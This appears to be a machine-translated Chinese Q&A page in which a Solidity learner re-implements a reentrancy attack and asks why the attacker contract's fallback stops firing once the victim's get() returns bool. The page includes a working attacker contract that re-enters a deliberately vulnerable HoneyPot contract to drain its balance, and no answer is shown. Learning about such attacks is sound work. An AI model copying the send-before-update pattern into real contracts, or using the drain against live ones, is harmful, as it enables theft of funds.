solidity - 返回类型从 void 更改为 bool 后,未调用后备函数
问题描述
我在坚固性方面很新。我正在尝试重新实现重入攻击。
我通过下面的智能合约得到了这个工作。
// import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
event logString(string);
event logfallback(uint, uint);
address honeypot_addr;
constructor (address _honeypot) public {
honeypot = HoneyPot(_honeypot);
honeypot_addr = _honeypot;
}
function kill () public{
selfdestruct(msg.sender);
}
function collect() public payable {
honeypot.put.value(msg.value)();
bool res = honeypot.get();
}
function () external payable {
uint balance = honeypot.balances(msg.sender);
emit logfallback(honeypot_addr.balance, msg.value);
if (honeypot_addr.balance > msg.value) {
emit logString("callback");
bool res = honeypot.get();
}
}
}
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
require(succ);
balances[msg.sender] = 0;
}
}
然而。在我更改了代码的第二部分之后,即合约 HoneyPot。当我在 HoneyPotCollect 中调用函数 collect() 时,我无法调用 HoneyPotCollect 的后备函数。
改变只是让 HoneyPot 中的 get() 函数返回 bool 类型。
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable returns (bool success) {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
require(succ);
balances[msg.sender] = 0;
return true;
}
}
Edit1:我刚刚发现解决方案是将两个合同组合在一个文件中。问题消失了。然而,还有另一个问题。如果我评论该行,也不会调用回退功能。
require(succ)
整个代码是这样的:
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable returns (bool success) {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
//require(succ);
balances[msg.sender] = 0;
return true;
}
}
请帮忙!提前致谢。
解决方案
推荐阅读
- wordpress - 管理面板中缺少 WooCommerce 的“产品图片”区域
- javascript - $.getJSON 没有在 addEventListener 中运行
- amazon-quicksight - 我的 Amazon Quicksight 控制面板未加载。仪表板正在使用 SPICE 数据集
- flutter - 将捏合的图像叠加在所有内容之上
- vba - 如何让 VBA 开始下载文件而不是等待它完成后再继续下一行代码
- mongodb - 日期范围之间的MongoDB查询
- ios - systemLayoutSizeFitting(_:) 不遵守十进制数的宽度或高度限制
- java - 如何在 Java 中分别比较两个 int 数组元素并查看哪个元素更大?
- javascript - 如何添加 ID 保存在 JSON 文件 discord.js v12 中的角色?
- python - How do I plot a color plot for using three column vectors?